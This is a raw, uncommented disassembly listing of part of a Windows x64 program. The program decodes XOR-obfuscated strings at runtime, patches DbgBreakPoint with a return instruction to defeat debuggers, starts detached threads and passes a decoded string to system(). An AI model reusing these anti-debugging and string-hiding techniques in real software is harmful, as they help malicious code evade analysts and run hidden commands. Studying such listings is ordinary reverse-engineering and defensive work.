mov qword [rbp + 0x6e0], rax
movabs rax, 0xa242d77977e9ce70
mov qword [rbp + 0x6e8], rax
movabs rax, 0xf05cb26e8370cf5d
mov qword [rbp + 0x6f0], rax
movabs rax, 0x630976655474d37d
mov qword [rbp + 0x6f8], rax
movabs rax, 0xa7be2b1cb88ff13c
mov qword [rbp + 0x700], rax
movabs rcx, 0x314b0d1c7978a11c
mov qword [rbp + 0x708], rcx
movabs r14, 0x9366bb1cbd2ca11c
mov qword [rbp + 0x670], r14
movabs r12, 0x35bf5d1c3a58a11c
mov qword [rbp + 0x678], r12
movabs rax, 0xd5516f1c3d24a11c
mov qword [rbp + 0x680], rax
movabs rax, 0x5ede511c1fd0a11c
mov qword [rbp + 0x688], rax
movabs rax, 0xe014031c965ca11c
mov qword [rbp + 0x690], rax
movabs rax, 0x826ca51c1388a11c
mov qword [rbp + 0x698], rax
movabs rax, 0x842fd71ca314a11c
mov qword [rbp + 0x6a0], rax
movabs rax, 0x117c191c7400a11c
mov qword [rbp + 0x6a8], rax
movabs rax, 0xa7be2b1c96cca11c
mov qword [rbp + 0x6b0], rax
mov qword [rbp + 0x6b8], rcx
movdqa xmm0, xmmword [rbp + 0x6c0]
xorps xmm0, xmmword [rbp + 0x670]
movdqa xmmword [rbp + 0x6c0], xmm0
movdqa xmm1, xmmword [rbp + 0x6d0]
xorps xmm1, xmmword [rbp + 0x680]
movdqa xmmword [rbp + 0x6d0], xmm1
movdqa xmm0, xmmword [rbp + 0x6e0]
xorps xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x6e0], xmm0
movdqa xmm1, xmmword [rbp + 0x6f0]
xorps xmm1, xmmword [rbp + 0x6a0]
movdqa xmmword [rbp + 0x6f0], xmm1
movdqa xmm0, xmmword [rbp + 0x700]
xorps xmm0, xmmword [rbp + 0x6b0]
movdqa xmmword [rbp + 0x700], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rsi
mov qword [rbp + 0xb8], rsi
lea rax, [rbp + 0x6c0]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14002af83
mov r8, rbx
lea rdx, [rbp + 0x6c0]
lea rcx, [rbp + 0xa0]
call fcn.140017ff0
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x70], rax
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x560]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0xe71ecf32ce4bce70
mov qword [rbp - 0x80], rcx
mov qword [rbp - 0x78], r12
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r12
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x560]
call fcn.140019000
nop
cmp qword [rbp + 0x5e8], 0
je 0x14002b094
movabs rax, 0xb314d46ecf498147
mov qword [rsp + 0x60], rax
movabs rax, 0x35bf5d1c1a758141
mov qword [rsp + 0x68], rax
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r12
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x560]
call fcn.140017d90
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rdx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
mov rcx, rax
call fcn.1400182b0
lea rdx, [0x140018ba0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x560]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x560], rax
mov rax, qword [rbp + 0x560]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x55c], edx
lea rcx, [rbp + 0x568]
call fcn.1400196f0
lea rcx, [rbp + 0x570]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x608]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14002b131
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b12c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002b12c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007d63c
mov qword [rbp + 0xb0], rsi
mov qword [rbp + 0xb8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14002b18e
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b189
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002b189
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007d63c
mov ecx, ntohl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_raise]
jmp 0x14002a067
lea r8, [rbp + 0x70]
lea rcx, [0x1400a0a68]
call fcn.1400180f0
lea rcx, [0x140082d80]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14002b1f5
lea rdx, str.DbgBreakPoint
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14002b1f5
lea r9, [rbp + 0x78]
mov edx, 1
lea r8d, [rdx + 0x3f]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14002b1f5
mov byte [rbx], 0xc3
lea rdx, [0x140027e60]
lea rcx, [rbp + 0x110]
call fcn.140017aa0
nop
cmp dword [rbp + 0x118], 0
je 0x14002e8c8
movaps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x14002e8c8
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x110], xmm0
lea rdx, [0x140024c80]
lea rcx, [rbp + 0x100]
call fcn.140017aa0
nop
cmp dword [rbp + 0x108], 0
je 0x14002e8bd
movaps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x14002e8bd
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x100], xmm0
movups xmm0, xmmword [0x140083630]
movups xmmword [rbp + 0x30], xmm0
movsd xmm0, qword [0x140083640]
movsd qword [rbp + 0x40], xmm0
movzx eax, word [0x140083648]
mov word [rbp + 0x48], ax
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x140083649], 0
je 0x14002b453
mov r8d, esi
cmp r14d, 2
jl 0x14002b40d
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x34]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002b300
cmp r8d, 0x1a
jge 0x14002b453
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14002b420
lea rcx, [rbp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140083650]
movups xmmword [rbp + 0x670], xmm0
movups xmm1, xmmword [0x140083660]
movups xmmword [rbp + 0x680], xmm1
movups xmm0, xmmword [0x140083670]
movups xmmword [rbp + 0x690], xmm0
movzx eax, word [0x140083680]
mov word [rbp + 0x6a0], ax
mov r8d, esi
cmp r14d, 2
jl 0x14002b5ed
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x674]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14002b4e0
cmp r8d, 0x32
jge 0x14002b633
movsxd rax, r8d
lea r9, [rbp + 0x670]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x14002b600
lea rdx, [rbp + 0x670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017d90
movups xmm0, xmmword [0x140083688]
movups xmmword [rbp + 0x670], xmm0
movups xmm1, xmmword [0x140083698]
movups xmmword [rbp + 0x680], xmm1
movups xmm0, xmmword [0x1400836a8]
movups xmmword [rbp + 0x690], xmm0
movzx eax, word [0x1400836b8]
mov word [rbp + 0x6a0], ax
movzx eax, byte [0x1400836ba]
mov byte [rbp + 0x6a2], al
mov r8d, esi
cmp r14d, 2
jl 0x14002b7dd
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x674]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14002b6d0
cmp r8d, 0x33
jge 0x14002b823
movsxd rax, r8d
lea r9, [rbp + 0x670]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x14002b7f0
lea rdx, [rbp + 0x670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017d90
movups xmm0, xmmword [str.3Fdc]
movups xmmword [rbp + 0x670], xmm0
movups xmm1, xmmword [0x1400836d0]
movups xmmword [rbp + 0x680], xmm1
movups xmm0, xmmword [0x1400836e0]
movups xmmword [rbp + 0x690], xmm0
movzx eax, word [0x1400836f0]
mov word [rbp + 0x6a0], ax
movzx eax, byte [0x1400836f2]
mov byte [rbp + 0x6a2], al
mov r8d, esi
cmp r14d, 2
jl 0x14002b9cd
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x674]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14002b8c0
cmp r8d, 0x33
jge 0x14002ba13
movsxd rax, r8d
lea r9, [rbp + 0x670]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x14002b9e0
lea rdx, [rbp + 0x670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017d90
movups xmm0, xmmword [str.3Fdcba__]
movups xmmword [rbp + 0x670], xmm0
movups xmm1, xmmword [0x140083708]
movups xmmword [rbp + 0x680], xmm1
movups xmm0, xmmword [0x140083718]
movups xmmword [rbp + 0x690], xmm0
movzx eax, word [0x140083728]
mov word [rbp + 0x6a0], ax
movzx eax, byte [0x14008372a]
mov byte [rbp + 0x6a2], al
mov r8d, esi
cmp r14d, 2
jl 0x14002bbbd
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x674]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14002bab0
cmp r8d, 0x33
jge 0x14002bc03
movsxd rax, r8d
lea r9, [rbp + 0x670]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x14002bbd0
lea rdx, [rbp + 0x670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017d90
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x140083730]
movups xmmword [rbp + 0x30], xmm0
mov eax, dword [0x140083740]
mov dword [rbp + 0x40], eax
movzx eax, word [0x140083744]
mov word [rbp + 0x44], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rbp + 0x46], al
mov r8d, esi
cmp r14d, 2
jl 0x14002bd8e
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x34]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002bc81
cmp r8d, 0x17
jge 0x14002bdd3
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14002bda0
lea rdx, [rbp + 0x30]
mov rcx, r10
call fcn.140017d90
movzx eax, word [0x140083748]
mov word [rbp + 0x78], ax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14008374a]
mov byte [rbp + 0x78], 0xa
xor byte [rbp + 0x79], 0x3a
xor al, 0x3b
mov byte [rbp + 0x7a], al
lea rdx, [rbp + 0x78]
call fcn.140017d90
lea rcx, [0x1400a0ad0]
call fcn.1400073f0
movups xmm0, xmmword [0x140083750]
movups xmmword [rbp + 0x670], xmm0
movups xmm1, xmmword [0x140083760]
movups xmmword [rbp + 0x680], xmm1
movups xmm0, xmmword [0x140083770]
movups xmmword [rbp + 0x690], xmm0
movsd xmm0, qword [0x140083780]
movsd qword [rbp + 0x6a0], xmm0
movzx eax, word [0x140083788]
mov word [rbp + 0x6a8], ax
mov r8d, esi
cmp r14d, 2
jl 0x14002bfad
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x674]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14002bea0
cmp r8d, 0x3a
jge 0x14002bff3
movsxd rax, r8d
lea r9, [rbp + 0x670]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3a
jl 0x14002bfc0
lea rdx, [rbp + 0x670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017d90
lea rcx, [0x1400a0ad0]
call fcn.140003520
cmp byte [0x1400a0d08], 0
jne 0x14002c094
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.14001a0f0
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14002c066
xor byte [rax], 0x39
